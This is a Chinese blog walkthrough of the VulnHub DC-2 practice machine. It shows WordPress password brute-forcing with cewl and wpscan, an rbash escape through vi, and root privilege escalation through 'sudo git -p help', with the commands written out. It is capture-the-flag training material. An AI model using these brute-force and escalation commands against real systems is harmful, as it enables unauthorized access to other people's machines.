VulnHub——DC-2

DC-2

靶机链接
难度:初学者
任务:获取root权限,5个flag
需修改hosts文件
将“192.168.50.90 dc-2”添加到hosts文件。

信息搜集

使用Nmap探测存活主机。
在这里插入图片描述
扫描靶机端口

-A:同时打开操作系统指纹和版本检测
(-O和-osscan-guess也可以探测系统信息)
-Pn:非ping扫描,不执行主机发现,可以绕过防火墙
-sV:查找主机服务版本号
-oN:将结果输出为指定文件

在这里插入图片描述
访问80端口发现flag1,提示使用cewl工具。
在这里插入图片描述

漏洞挖掘与利用

WordPress

使用cewl生成密码字典,并将结果输出为passwd.txt

cewl http://dc-2 -w passwd.txt 

使用wpscan进行爆破密码

wpscan --url http://dc-2 --enumerate u -P passwd.txt

爆破出账号密码
登录搜集信息,发现新的flag
在这里插入图片描述
提示使用另一种方法在这里插入图片描述

SSH

获取到tom、jerry两个用户的密码
尝试ssh链接
登录tom后发现flag3,cat命令不能使用。

在这里插入图片描述
英语比较渣,大概是说这个用户没用

登录jerry,无法登录
尝试从tom用户su到jerry,由于tom为rbash用户,尝试绕过
使用vi命令进行绕过

vi
:set shell=/bin/sh
:shell

发现绕过之后仍然无法执行大多数命令
尝试将变量输出为全绝变量

export PATH=/usr/sbin:/usr/bin:/sbin:/bin

在这里插入图片描述
发现flag4,最后有git outta here,搜索后发现可以通过git命令提权。
在这里插入图片描述

sudo git -p help
!/bin/bash

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值